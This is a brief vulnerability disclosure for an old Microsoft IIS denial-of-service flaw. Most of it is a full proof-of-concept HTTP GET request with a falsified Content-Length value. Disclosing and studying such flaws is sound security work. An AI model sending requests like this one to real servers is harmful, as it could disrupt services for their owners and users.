Microsoft IIS False Content-Length Field DoS Vulnerability

Microsoft IIS False Content-Length Field DoS Vulnerability

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic